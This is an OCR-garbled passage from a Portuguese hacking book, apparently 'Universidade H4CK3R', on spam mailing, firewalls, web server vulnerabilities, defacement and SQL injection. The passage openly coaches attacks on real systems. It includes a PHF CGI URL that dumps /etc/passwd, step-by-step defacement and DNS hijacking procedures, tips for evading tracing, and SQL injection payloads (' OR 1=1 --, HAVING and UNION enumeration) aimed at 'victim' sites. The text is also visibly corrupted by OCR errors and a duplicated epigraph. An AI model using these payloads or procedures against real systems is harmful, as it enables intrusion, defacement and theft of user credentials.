automatizam o processo de enviar toneladas de emails para milhares de endereos, incluindo a imp1ementar seu prprio servidor SMTP domstico ou varrer a Internet atrs de servidores podres. Se voc
1192 I Vulnerabilidades 11[
Universidade 2 Ano
usa Unix e tem conexo direta com a Internet, pode instalar um servidor completo de SMTPem sua mquina, configur-Io para um domnio fictcio qualquer e mandar brasa! Alguns provedores bloqueiam servidores SMTP em seus assinantes, mas nada que um proxy pblico no resolva... H diversas opes disponveis, sendo o Qmail, PostflX e o veterano Sendmail as mais conhecidas. Em um refmamento desse processo, podem-se utilizar servidores de listas de discusso para automatizar a entrega a muitos destinatrios. Entre os servidores de listas mais comuns encontram-se o Majordomo, o Exim e o GNU Mailman. Para alimentar os servidores de listas, basta criar uma lista de distribuio e cadastrar, aos poucos, endereos colecionados pela Internet. H scripts como o Bulk Mailer (ftp://cs.utk.edu/pub/moorelbulk mailer/) que facilitam a tarefa ainda mais. Uma procura no Google j seria suficiente para comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma receber e que normalmente vm repletos de endereos nos campos "Para" e "CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre o campo "Cpia Oculta" ou BCC. No lado do cliente, ainda possvel enviar e-mails annimos sem invadir servidor algum. Tenha em mente que, apesar de ser uma soluo mais simples, perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows que fazem isso so: ~ Send-Safe: www.send-safe.com ~ Bulker: bulker. us No CD, h alguns outros programas gratuitos que prometem cumprir o prometido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos. Mas no se prenda facilidade de um script, como diria a hackergirl Melpneme. Tente entender como os servidores SMTP funcionam, e ver que fcil utilizar qualquer um deles para enviar e-mails annimos. Uma ltima recomendao: leia as RFCs!
Furando firewalls
Quando algum invade um computador domstico, tem sua disposio alguns arquivos importantes apenas para o dono. Talvez algum software bacana que merea ser copiado. Essas mquinas no servem para realizar o sonho warholiano desses adolescentes: ter seus breves momentos de fama. Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas que sejam visveis ao grande pblico. Alterar web sites a primeirssima escolha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir assinada. Mas h outras opes de grande repercusso, embora mais annimas. Derrubar servidores de empresas ou roteadores da Internet so duas delas. Apesar do anonimato, o estrago causado grande.
1193 I
]Vulnerabilidades
II
I Universidade
H4CK3R
Firewalls
Falemos a verdade: quem hoje, em s conscincia, deixaria um servidor Web ligado diretamente Internet? (Ok, ok, ok, est bem: muita gente faria isso...?) Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau de proteo deve ser providenciado para que nosso site no seja molestado logo no primeiro dia (ou antes, na primeira hora...). Essa proteo usualmente relegada a equipamentos chamados fn-ewa1ls. Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser entre redes privadas ou entre uma rede privada e a Internet. A funo de tal equipamento controlar o trfego entre elas, permitindo ou bloqueando informaes de acordo com regras preestabelecidas. H diversas explicaes para a palavra firewall. Os autores preferem a definio de "porta corta-fogo", ou seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo. Analogamente, os firewalls agem como portas que permitem a algumas conexes entrar ou sair da rede, enquanto bloqueia as demais. Normalmente, as conexes originadas de dentro da rede so permitidas, enquanto as originadas de fora da rede so bloqueadas.
Permite ~da e retorno
H trs tipos bsicos de firewall. Os dois mais tradicionais so os filtros de pacotes e os proxies. O terceiro tipo uma evoluo do filtro de pacotes tradicional chamado de filtro de estados de pacotes ou stateful packet filter (SPF).
Filtros de pacotes
A tentativa mais antiga de barrar acessos indesejados em nossas redes talvez seja a de analisar os pacotes TCP/lP um por um e, olhando em seus cabealhos, decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as "perguntas" que o f11trofaz ao pacote so: ~ O pacote destinado ao endereo IP de algum servidor da rede? ~ Seu endereo IP de origem permitido nesta rede? ~ A porta TCP/UDP a que se destina corresponde a um servio ofertado na minha rede? ~A porta TCP/UDP de origem corresponde a uma aplicao-cliente dos meus servios? 11941
Vulnerabilidades 111
Universidade
2 Ano
~ Os bits do pacote (SYN ou ACK) so parte do handshake TCP? ~ O pacote IP est saindo ou entrando da rede? Se a resposta para as cinco primeiras perguntas for "sim", o ftrewall permite que o pacote entre ou saia. A conftgurao de cada uma das situaes de permisso ou bloqueio de pacotes chamada de regra. Um conjunto qualquer dessas regras chamado de access controllist (ACL).H vrios softwares diferentes que implementam f1ltros de pacotes. Alguns so instalados em hardwares especftcos como roteadores e os chamados "firewalls de rack". Outros so programas que rodam em computadores comuns. Alguns possuem interfaces grficas para conftgurao, outros devem ser ajustados com linhas de comando por vezes complexas. Como a sintaxe e o modo de conftgurao variam muito, no possvel apresentar um exemplo real de regra de ftrewall. Entretanto, como tecnicamente a f1ltragem idntica, variando apenas a sintaxe do comando, uma tabela de regras poderia, para fms didticos, ser escrita assim:
IP Origem Rede Interna IP Destino Porta Origem Rede Externa Todas Porta Destino 80 Todas 80 Todas Todas Protocolo TCP TCP TCP TCP Todos FlagTCP Todos ACK SYN ACK Todos Ao Permitir Permitir Permitir Permitir Negar
Rede Externa Rede Externa 80 Rede Externa Servidor Web Todas Servidor Web Rede Externa 80 Todas Todas Todas
Neste exemplo, nosso administrador de redes quis liberar o acesso World Wide Web para os usurios dessa rede. Normalmente, os servidores Web rodam na porta TCP 80 (lembre-se: RFC1700). Segundo a primeira regra, todas as conexes de dentro para fora cujo destino seja a porta 80 so permitidas. Obviamente, o browser do usurio envia um pacote TCP SYN para a porta 80 do servidor Web e espera uma resposta. Tal resposta vem sob a forma de um pacote ACK, cuja porta de origem a TCP 80 do servidor com destino a uma porta qualquer maior que 1.024 no computador do usurio. A segunda regra permite isso. A terceira regra permite que qualquer requisio de conexo (ou seja, um pacote TCP SYN) seja passada ao endereo do servidor Web, e apenas a ele, na porta 80. Uma requisio porta 80 de outra mquina qualquer ser bloqueada. A resposta do nosso servidor Web passa pelo ftrewall, permitida pela regra quatro. Por ftm, a regra cinco bloqueia todas as outras conexes. Mas o f1ltrode pacotes ignorante. Alm do que est defIDidoem suas regras, ele no sabe de mais nada. Observe a regra dois. Qualquer pacote TCP vindo de fora, cuja origem seja a porta 80 e o flag ACKesteja ligado, seria aceito pelo ftrewall sem reclamar. Ora, um hacker poderia enviar um pacote ACKque no fosse parte de um hadshake TCP.Com esse pacote, todos os endereos IP da rede poderiam ser testados para verificar sua existncia. Isso um belo furo de segurana!
1195
I
Vulnerabilidades
II
I Universidade
H4CK3R
Outro problema so os pacotes UDP.Eles no possuem os flags de controle, apenas IP/porta de origem e destino. O administrador tem apenas duas opes: bloque-Ios ou permiti-Ios. Servios importantes como o DNS (porta 53) utilizam portas UDP e, portanto, devem ser liberados no flrewall.Ao mesmo tempo, a mesma porta UDP 53 pode ser usada para transmisso de dados para o hacker a partir de um cavalo de tria. O f1ltro de pacotes no tem como diferenciar entre a conexo vlida e a maliciosa.
Proxies
Os f1ltros de pacotes, como o nome j diz, baseiam-se nas informaes carregadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai e quem barrado. Diferentemente, flrewalls baseados na tecnologia proxy trabalham com a camada de aplicao. O proxy interage com o programa e seus protocolos, independente de como esse protocolo ser encapsulado na pilha TCP/lP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais2. Alm disso, imune a ataques com pacotes isolados. O pacote ACK que passou com galhardia pelo f1ltro de pacotes ser solenemente ignorado pelo proxy, que ainda vai "escovar os bits" do protocolo HTTP para deixar passar apenas mensagens que lhe obedeam estritamente - ao muito mais efetiva do que simplesmente bloquear as conexes ACKTCP/80. H proxies para todos os gostos, sendo HTTp,FTP e Telnet os mais comuns.
. Proxy
Opcionalmente, um proxy pode autenticar usurios, permitindo que apenas logins devidamente cadastrados o utilizem. Se til para controlar quem pode ou no acessar servios externos - um controle assaz vlido em empresas - muito mais til para impedir que cavalos de tria conectem-se com seus amos malignos envoltos nas brumas da Internet. De fato, em um f1ltro de pacotes que permita conexo pela porta TCP 80, alm de requisies HTTP vlidas, poderamos ter trojans conectando-se pela mesma porta. Com um proxy isso no seria possvel. Mesmo que o trojan disfarce seus dados com um cabealho HTTP vlido, a conexo no passaria pelo esquema de autenticao.
2. Normalmente, ele configurado para servir apenas como o proxy web.
1196 1
Vulnerabilidades II [
Universidade
2 Ano
Rede Privada
1197
I
Vulnerabilidades
11
I Universidade
H4CK3R
Para fazer o Nmap enviar pacotes ACK a todas as portas de uma nica mquina, utilize a opo -sA (voc deve ser root para isso): # nmap -sA IP.A.SER.VASCULHADO O prompt mostrado de um Unix, mas o comando no Windows seria exatamente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin e Nmapfe) para facilitar a tarefa, se assim for desejado. possvel fazer o mesmo scan com todas as portas de uma faixa de IPs (ou seja, diversas mquinas). Por exemplo:
. DO.WEB.SERVER
Voc ver uma lista com todos os nmeros IP (e, se disponveis, os nomes de DNS) dos computadores e roteadores que esto no caminho entre o seu computador e o computador destino. muito provvel que, sendo o computador destino um web server, as duas interfaces de rede (ou seja, os nmeros IP) imediatamente anteriores pertenam ao firewall. J temos, com isso, trs informaes vlidas: o endereo IP do web server, os endereo IP do firewall e suas regras de filtragem. Com um pouco de pacincia, o "hacker" pode tentar diversos endereos prximos com o Nmap e o T,raceroutelTracert e, com os dados obtidos, desenhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo? De posse dessas informaes, um scanner de vulnerabilidades, como o valoroso Nessus, poder abrir um mundo de opes para invadir qualquer uma das mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org e www.securitifocus.com. pra comear) e correr para o abrao.
Servidores Web
preciso conhecer com certa profundidade os daemond HTTP a serem atacados para poder, rapidamente, invadi-Ios e alterar suas pginas. Conhecer as vulnerabilidades existentes neles crucial para o sucesso da empreitada. Aps invadidos, os caminhos que levam s pginas devem ser descobertos rapidamente para evitar um tempo muito longo de conexo e possveis rastreamentos.
1198 I
Vulnerabilidades 11 [
Universidade 2 Ano
Apache
O servidor HTTP nmero um no mundo o Apache (www.apache.org). um programa de cdigo aberto e livre distribuio muito prestigiado por seu desempenho, segurana e flexibilidade. Entretanto, nenhum software 100% seguro, e o Apache no exceo. Os arquivos de configurao do Apache normalmente esto no /etc, nos diretrios /etc!httpd ou /etc/apache. Em algumas implementaes, podem estar em /usr/locaVapache ou /var!httpd. importante que o atacante se familiarize com os conceitos de operao de um servidor HTTP,com o Apache em especial e, principalmente, com o arquivo de configurao httpd.conf. Outro ponto interessante a estudar so os mecanismos de acesso a pginas restritas por meio de senhas. Tais mecanismos usam arquivos normalmente chamados de .htacces para guardar o login e a senha dos usurios cadastrados. Todas essas informaes constam na documentao do produto, disponvel no site oficial. A melhor maneira de aprender sobre o Apache mexendo nele. Instale um Linux qualquer em um computador de testes bem como o Apache mais recente. Brinque com as configuraes, procure HOwros na Internet, crie pginas de acesso restrito e, principalmente, veja como a hierarquia de diretrios organizada. Como nem tudo so flores, o Apache pode estar vulnervel a ataques. Alm de m configurao do Unix que o hospeda, o prprio Apache pode estar mal configurado. Mas mesmo que tudo esteja em ordem, pode haver falhas no software que possibilitem uma invaso. Um exemplo simples. O Apache possui um mdulo, mod_php, que permite a execuo de sistemas escritos na linguagem PHP no servidor. Algumas funes do mod_php permitem que um programa externo seja executado. Nessas situaes, o controle da porta pela qual o Apache "escuta" (normalmente a 80) passado a esse programa externo. Sendo assim, fcil fazer um programinha com cdigo malicioso que permita ao hacker tomar conta da porta 80: basta que o programa nunca devolva o controle para o Apache e que esteja aberto para transmisso de dados por parte do hacker. O invasor pode enviar qualquer coisa pela porta 80, inclusive outras pginas HTML,sem alterar o contedo das pginas hospedadas no servidor. O exploit e uma explicao mais detalhada podem ser encontrados em www.guninski.com/phpl.html.
1199 I
I
I Universidade
H4CK3R I
Uma das vulnerabilidades mais conhecidas do antigo iPlanet e que algumas verses do Sun ONE herdaram um bug no componente de pesquisa do servidor - aquele campo que permite ao internauta procurar por alguma coisa dentro do site. Um dos parmetros de pesquisa o comando NS-rel-doc-name.Uma string muito longa associada a esse parmetro causa um buffer overflow no componente e permite que cdigos arbitrrios com poderes de superusurio sejam executados no servidor. Se em vez de cdigo for enviada uma string qualquer ("lixo"), o servidor poder travar e sair do ar. A vulnerabilidade est explicada em detalhes no site Security Focus (www.securityfocus.com/bid/48511info).
1200 I
Vulnerabilidades II r
Universidade
2 Ano
de todas as lnguas do mundo, acabando com os problemas de internacionalizao de programas e sites. Ocorre que, apesar de os SOs estarem preparados para o Unicode, o IIS no est. Enviando uma string com inmeros caracteres Unicode 255c, possvel, no [mal da string, colocar comandos para execuo. No CD, inserimos alguns exploits para o Unicode bug. Para corrigir esta falha sugerimos que voc substitua o servidor IIS por um Linux com Apache (a melhor opo). Se insistir em usar o Windows, aplique o patch oficial, disponvel em microsoft.com/technet/security/bulletin/msOO-057.asp. O IIS ainda presta um servio ao invasor, gravando dados falsos no logoConforme reportado no Security Focus (www.securityfocus.com/bid/6795/info). URLsespecialmente malformadas com cdigos hexadecimais podem fazer com que o sistema grave entradas falsas nos arquivos de logo Com isso, possvel destruir registros de invaso e confundir os programas que lem o logo H diversos livros escritos sobre os trs servidores citados, e os sites oficiais (especialmente o do Apache) fornecero informaes detalhadas e farta documentao sobre eles. Interrompa a leitura do livro e estude-os. importante. Sugiro tambm uma passadinha no Security Focus (www.securityfocus.com) e uma busca pelas vulnerabilidades desses trs servidores de HTIP. Se por acaso os conceitos utilizados nos sites forem muito obscuros para o leitor, sugerimos reler todo o livro, bem como os apndices no CD-ROM.
]Vulnerabilidades
11
I Universidade
H4CK3R I
programinha em Delphi, Visual Basic ou mesmo um arquivo de lote (.BAT) que interaja com o IIS. No Unix, pode-se usar PerI, Python, programas compilados em C ou mesmo shell scripts, como CGls. Falhas nesses programas podem comprometer servidores HTIP que, de outra forma, estariam seguros. Furos de segurana envolvendo CGls so to antigos quanto a prpria tecnologia. Os prprios servidores j vinham com CGls-exemplo pr-instalados. Um exemplo, vindo de instalaes Unix muito antigas, a falha do tipo PHF.O arquivo PHF um CGI script usado para atualizar uma lista de telefones de pessoas. Essa lista disponibilizada on-line pelo servidor Web, e possvel montar um formulrio que se utilize deste CGI para atualizar a lista. Nos sistemas Unix com Apache, o local padro para colocar scripts CGI o diretrio /caminho/para!http/cgi-bin/. Por default, a maioria dos antigos servidores Web instalavam o PHF como exemplo, e, como administradores de sistema nunca lem a documentao, os scripts acabavam ficando. Entretanto, o script PHF comporta-se mal quando, junto com comandos vlidos, coloca-se um caractere newline (em hexadecimal, OAh) na URL de controle. Um ataque simples poderia ser: http://vulnserv.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd. Se voc prestar ateno, depois do newline (OAh) foi emitido o comando /bin/cat /etc/passwd. O caractere %20 o cdigo ASCII para espao em branco. Vrias aes so possveis e comandos em seqncia so uma boa idia. Normalmente o script roda no Unix em um shell muito restrito, sendo o usurio nobody o "campeo de audincia". Se voc tiver a sorte de o CGI rodar com SUID,pronto! Voc emitir comandos como root! Tanto o PHF quanto o Unix foram apenas exemplos. Outros CGls so vulnerveis (quase todos...) e possvel rodar comandos de outras plataformas. Um servidor Windows NT aceita os comandos do DOS, por exemplo. A melhor maneira de se precaver quanto aos problemas dos scripts CGI no os usar. Por conta disso, outras formas de interagir com o usurio so as mais utilizadas atualmente. Alguns exemplos so os servidores de aplicaes Zope e ColdFusion e as linguagens dinmicas ASP e PHP.Mas mesmo eles possuem furos, porm no to toscos quanto os dos CGls.
PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na Web so, sempre, cheias de falhas. Como elas precisam efetuar algum processamento antes de enviar a pgina HTML formatada ao browser, possvel inserir comandos maliciosos na URL ou em algum formulrio e conseguir um shell para si. Com o shell, a porta para seu defacement est aberta. A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir 12021
Vulnerabilidades 11 [
Universidade 2 Ano
os scripts CGI em servidores Unix, embora tenha sido portada para diversas plataformas, incluindo Windows. O sistema Active Server Pages (ASP), da Microsoft, por outro lado, como um "shell" que interfaceia o servidor IlS e qualquer linguagem externa. A mais usada para montar programas em ASP o VBScript, mas muitas outras podem ser usadas, incluindo ]avascript e WSE. Apesar da maior segurana e desempenho que essa abordagem oferece - afinal, nenhum programa externo ao servidor Web est sendo rodado -, ainda h algumas falhas que podem ser exploradas. Para uma lista completa, consulte seu site de vulnerabilidades preferido, por exemplo o Security Focus (www.securityfocus.com), o Linux Security (www.linuxsecurity.org) ou o Security Bugware (www.securitybugware.org).
Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos script kiddies a desfigurao de web sites, os chamados defacements. At agora, conseguimos verificar (apenas com Nmap e Traceroute/Tracert) os furos no firewall e mapear toda a rede diretamente conectada Internet. Aprendemos ainda a usar proxies para aumentar nosso anonimato e a mandar fakemails - coisa que facilita a vida de qualquer engenheiro social. A rede interna ainda inacessvel para ns. Por enquanto... Um defacement algo simples de fazer. Claro que h casos e casos, alguns mais difceis, outros extremamente infantis, mas no geral os passos bsicos para um defacement so: 1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssico o prprio site da Digerati (www.digerati.com). que foi desfigurado pela hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela descobriu as senhas dos administradores do site da Digerati no registro nacional de domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas conseguidas, invadiu o DNS(tambm sem exploits, apenas com senhas conseguidas por engenharia social) que apontava para nosso servidor Web e alterou o IP,apontando para o servidor dela. Resultado: os sites da Geek e da Digerati aparentemente desfigurados.A imagem do site desfigurado est no CD. 2 Com ES, tudo fica mais fcil. Mas com ou sem informaes privilegiadas, deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de informtica. Para isso, cuide de se proteger com spoofmg e proxies pblicos. 3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs ou o web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter acesso restrito, ento precisar fazer cracking de senhas ou brute force (vide captulo 7, Vulnerabilidades l) para conseguir acesso ao superusurio. 12031
I
Vulnerabilidades
11
I Universidd
H4CK3R
pelos diretrios
em que as pginas so
guardadas. Em mquinas Windows com IIS elas ficam em /www/documentroot. /var/www, /var/ Em mquinas Unix isso varivel, pode estar em !home!http, http, /usr/local/apache/www, entre outros. Utilize o comando fmd (ou, se disponvel, o comando locate) para encontrar o diretrio www ou http. 5 Encontrado o diretrio, seja bonzinho e faa backup de todo o site, colocando-o em um arquivo compactado deixado a mesmo ou copiando-o para um diretrio qualquer. 6 Substitua o index.html (ou .php ou .asp ou .htm ou .xhtml ou .shtm...) pelo seu prprio, j previamente diagramado, ANTES de iniciar a invaso. Voc no quer deixar a conexo aberta enquanto cria a pgina, perigando ser rastreado, no mesmo?
Em caso de mquinas DNS, o procedimento similar. Voc deve ter um servidor Web no ar e testado, contendo a pgina a ser mostrada. Invada o DNS e altere as entradas. Por exemplo, voc a favor da guerra no Iraque e quer desfigurar o site www.stopthewar.org (Ateno lammers - este site no existe!). Descubra qual o DNS que aponta para ele (dica: use o servio WHOIS com o comando nslookup) e invada a mquina. L, voc vai encontrar o domnio stopthewar.org associado a um determinado nmero IP. Troque pelo IP do seu servidor Web contendo a pgina falsa e pronto, est feito! No se esquea de verificar se h DNSs secundrios. Voc ter de monitor-Ios para certificar-se de que sua alterao seja propagada, caso contrrio, ter de invadi-Ios tambm e alter-Ios " mo".
Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de bancos de dados. Os primeiros para armazenar os retalhos de cdigo a fim de usar para montar o HfML entregue ao cliente, os segundos para manter o cadastro dos usurios. Ambos podem ser facilmente acessados com algum trabalho braal.
Um exemplo prtico: na Internet, voc encontrou com um scanner de vulnerabilidades (por exemplo, o Nessus) um servidor Unix rodando o banco de dados PostgreSQL. Para acess-Io, basta instalar e configurar um front end grfico para acesso e administrao dos bancos de dados do Prostgre chamado pgaccess (www.frex.ro/pgaccess).
2041
Vulnerabilidades 11 [
Universidade 2 Ano
Um pouco de engenharia social ser necessrio para descobrir os nomes das bases de dados e de usurios. O PostgreSQL foi s um exemplo, possvel fazer isso com qualquer banco de dados, inclusive o MS-SQLe o Access, quando configurados como fontes de dados ODBC para rede. Uma instalao com as opes-padro do banco de dados a ser atacado, na mquina do atacante, ajuda e muito a descobrir contas-padro. Scripts de conexo a SQL e ODBC, se bem escritos, podem auxiliar em um eventual brote force. Procure aprofundar-se nas tecnologias de bancos de dados. A Internet est cheia de tutoriais srios a respeito do assunto. Recomendamos a voc, antes de tentar atacar tais programas, procurar saber como us-Ios da maneira correta. Humm, talvez seja hora de voc interromper novamente a leitura do livro...
12051
]Vulnerabilidades
II
I Universidade
H4CK3R I
EMTEMPO!Conhece SQL,ASP e PHP? No? pena, mas sou forado a sugerir que voc pare novamente a leitura do livro e procure instruir-se nesses assuntos. Comece com um banco de dados simples como o MySQLe uma linguagem livre como o PHP.Bonspontos de partida so os sitesWebmonkey (wwwwebmonkey.com) e Developer's Shed (wwwdevshed.com). Os sites oficiais do PHP (wwwphp.neO e MySQL(wwwmysq1.com) tambm so bem produtivos. Uma procura em sites de busca pelas palavras"PHPMySQL Tutorial"e bons livrossobre o assunto (e so muitos) completam suas necessidades iniciais. Partimos do princpio de que sempre existe uma tabela, dentro do banco de dados, que contm todas as informaes cadastrais dos usurios. No estimativa: esta tabela necessria! No sabemos (ainda) qual o nome da tabela - pode ser Users, Usurios,UserDB,Papagaio,SacoDePitombas -, ento, por enquanto, vamos cham-la de tabela_usuarios. A tabela de usurios pode possuir diversos campos, como endereo, telefone, e-mail para confirmao ou nmero do carto de crdito. Mas h quatro campos que so obrigatrios em qualquer tabela dessas. Os nomes dos campos obviamente podem variar,mas suas funes normalmente so as mesmas: ~ ID: Um identificador nico de cada usurio no sistema. a chamada "chave primria", e necessria para o correto funcionamento da tabela e seus relacionamentos com outras tabelas. ~ Nome Completo: Campono to importante para a autenticao, mastrata-seuma maneirade personalizaro funcionamento do sitepara cadausurio. ~ Login e senha: Os campos mais importantes; garantem o acesso ao site para os usurios cadastrados. ~Admin: Um flag que indica se o usurio tem poderes especiais para administrar o site. Um exempo de tabela seria: ID 1 2 3 4 Nome Completo Henrique Cesar Ulbrich James Fbio Della Valle Suzana Warren Fabio Cruz Login ulbrich james suzy fcruz Senha W6rYwH D3114V4113 pipoca blaublauO 1 Admin? (S/N) S S N N
Esse fragmento de tabela nos revela coisas interessntes. O que mais salta vista que as senhas dos usurios comuns normalmente so muito fracas, e um bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to bvio, passa despercebido pela maioria das pessoas: os administradores quase sempre so os primeiros nomes da lista. Em mais de 90% dos casos, o ID 1 da tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes de administrador para poder fazer os testes necessrios. Essa informao ser til mais para frente.
12061
Vulnerabilidades II [
Universidade 2 Ano
Voltemos ao site. Quando o usurio preenche os campos de login e senha, o script ASP os guarda, cada um em uma varivel. Vamos cham-Ias de login e senha. No muito original, mas tenha certeza de que um grande nmero de sistemas por a utiliza exatamente esses nomes, alguma variao deles ou seu correspondente em ingls. O prximo passo seria o script ASP comparar os dois campos com o que est cadastrado, para garantir ou barrar o acesso ao site. Um exemplo de comando ASP seria: senha, nome, admin SQLOpen = ffSELECT login,
FROM tabela_usuarios WHERE login = ' ff &Login& ff , AND senha = ' ff &Senha& ff , ff
O que esse comando faz mandar para o banco de dados um comando SQLpara listartodos os usurios que contenham o login e a senha informados. Por exemplo, se um internauta digitar,como login e senha,"junior"e "fabio",a string SQLficaria assim: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = 'junior' AND senha = 'fabio' Trocando em midos, esse comando solicitar ao banco de dados uma lista com todos os registros cujo campo login for junior e o campo senha seja fabio. Em um sistema bem-feito, no haver nomes de login repetidos, logo o banco vai retornar os dados do usurio, se ele existir. Compare o comando ASP e o comando SQLpuro. No primeiro, aspas duplas separam o que uma string pura do que comando ASP. As aspas simples so consideradas parte da string pura. Como podemos perceber, os valores atribudos aos campos login e senha esto entre aspas simples. Hummm... E se eu colocar, no meio do meu login, uma aspa simples tambm (por exemplo, jun 'ior)? O comando SQL resultante ser: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = 'jun'ior' AND senha = 'fabio' O SQL considerar o nome de login como apenas jun e o resto do nome, ior, como parte do comando SQL. IOR no um comando SQL vlido, portanto a pgina retomar um erro. justamente esse erro que, mais para frente, nos dir qual a estrutura da tabela. Por ora, vamos us-Io para inserir mais comandos SQL no campo de login. Experimente, no login, inserir a seguinte string
, OR 1=1
- -
e veja o que acontece. Possivelmente voc se logou como administrador!!! Vamos analisar como essa feitiaria funciona na string SQL: SELECT login, senha, nome, admin FROM tabela_usuarios WHERE login = " OR 1=1 -- AND senha = " Traduzindo a string para o portugus (isso sempre facilita...): "SELECIONE os campos login, senha, nome, admin DA TABELAtabela_usuarios EM QUE o
login seja vazio (' ') ou a condio 1 = 1 seja verdadeira". Queee? 1 = I? Essa condio SEMPRE verdadeira, portanto, o usurio magicamente est
12071
1
Vulnerabilidades
11
I Universidade
H4CK3R I
logado no sistema!!! A senha nunca ser consultada validada, pois todo o resto da string (AND senha =' ') est comentado com os dois travesses. Se voc j souber o nome de usurio de uma pessoa e quiser acessar o sistema com seu login, basta colocar a string mgica no campo senha. Ou comentar o campo de login, aps entrar com o usurio. Por exemplo, se voc sabe que o login de sua me neidem, tente: login: neidem'-senha: <vazio> ou login: neidem senha:' OR 1=1 Algumas vezes necessrio colocar' OR 1=1 tambm no campo senha, em vez de comentar com travesses o final do campo login. Outro caso em sites pblicos com cadastros numerosos. Podemos colocar a string mgica no campo login e "chutar" uma senha qualquer. O comando SQL vai puxar todos os usurios que tiverem aquela senha, e voc se logar no primeiro deles. Use suas listas de palavras (lembra-se do captulo 7?) e entre seguramente. Voc encontrar diversas duplas nome/senha. Com um pouco de organizao, voc poder fazer uma lista dos nomes e senhas vlidos no site e usar "um pouco de cada", dificultando o rastreamento das contas invadidas. Brinque bastante com os sites escolhidos para vtima - sites com MS SQL e ASP so presas perfeitas. Com seus conhecimentos de PHP e MySQL,monte um site para experincias e insira todos os comandos SQL que voc conseguir lembrar. Bem, agora que j conseguimos entrar, que tal descobrir como a tabela est montada? Lembre-se de que estamos completamente cegos at agora. Um comando conhecido de SQL o HAVlNG, que permite selecionar grupos de campos que possuam um padro especfico. Coloque, no campo de login, a string , having 1=1 - - e observe o resultado. Cada gerenciador de banco de dados emitir erros diferentes, mas em comum eles tero uma mensagem parecida com essa: Column 'userid' on table 'mainsite' is invalid on the selected list ... Opa! O banco de dados alegremente nos presenteou com o nome da tabela, mainsite e o nome do primeiro campo da tabela, userid. Alguns bancos de dados retomariam o valor desse campo em formato orientado a objetos, algo como mainsite.USERID. No importa, j temos dois dados importantes. Mais para frente, a mensagem provavelmente mencionar que no h uma clusula GROUP BY no comando. Bem, vamos adicionar tal clusula e ver no que d: Usuario: ' GROUP BY mainsite.USERID having 1=1 -Cruzes! Olhe a resposta do site: Column 'userlogin' on table 'mainsite' is invalid on the selected list ... J sabemos o nome do segundo campo!!! Tentemos de novo: U~o:' GROUPBY mainsite.USERID, mainsite.USERLOGIN having 1=1 --
1208 I
Vulnerabilidades 11 [
Universidade 2 Ano
A resposta
Column 'username' on table 'mainsite' is invalid on the selected list ... Continue sua pesquisa usando esse mtodo. Quando no houver mais mensagens de erro, voi1,voc possui todos os campos da tabela. Agora, vamos recuperar as linhas da tabela, ou seja, os registros de cada usurio. Vamos usar o comando SQL UNION:
Usuario: ' UNION ALL SELECT
userid
FROM
rnainsite WHERE
1=1
--
Preciso explicar? O valor de userid retomado na mensagem. Faa isso com todos os campos. Obviamente, se o script for bem escrito, esses artifcios no funcionaro. Muitas vezes o script bem-feito e testar os campos procura de caracteres maliciosos ANTES de mand-Ios ao comando SQL. Nesses casos voc no conseguir entrar, mas ainda pode ter uma indicao na mensagem de erro do site sobre os nomes dos campos, da tabela e da base de dados. Anote TUDO e tente fazer um diagrama. Uma espiadela no que retomado na URL tambm uma boa... Isso apenas o bsico do bsico sobre SQL Injection. Para saber mais sobre o assunto, recomendamos a leitura do excelente livro Segurana contra Hackers - Aplicaes WEB, de Scambray e Shema (Editora Futura/McGraw-Hill, 394 pginas). Uma pesquisa no Google pelas palavras "SQL Injection" vai retomar praticamente toda a documentao disponvel sobre o assunto.
12091
I
Vulnerabilidades
11
Introduco .
Captulo
L./ come fece Romolo, il capoccione
10
o comunque se chiamasse
de quei tipacC/; a procurar donne a se e ai suoi compani. Indisse una grande festa, 1.../ e invit a prendervi parte i vicini di casa sabinil.../
cal loro re, Tito Tazio, e sopratutto le loro figlie': 1 Indro Montanelli, "Storia di Roma", 1957
1 "C.') como fez Rmulo, ou como quer que se chamasse o chefe daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festaC.,) e convidou seus vizinhos, os sabinos C.') que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas C.')" Um excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.
Introduco .
Captulo
"f.../
10
donne a se e ai suoi
il capoccione
compani. Indisse una grande festa, LI e invit a prendervi parte i vicini di casa sabinil.../
col loro re, Tito Tazio, e sopratutto le loro fig/ie ".' Indro Montanelli. "Storia di Roma". 1957
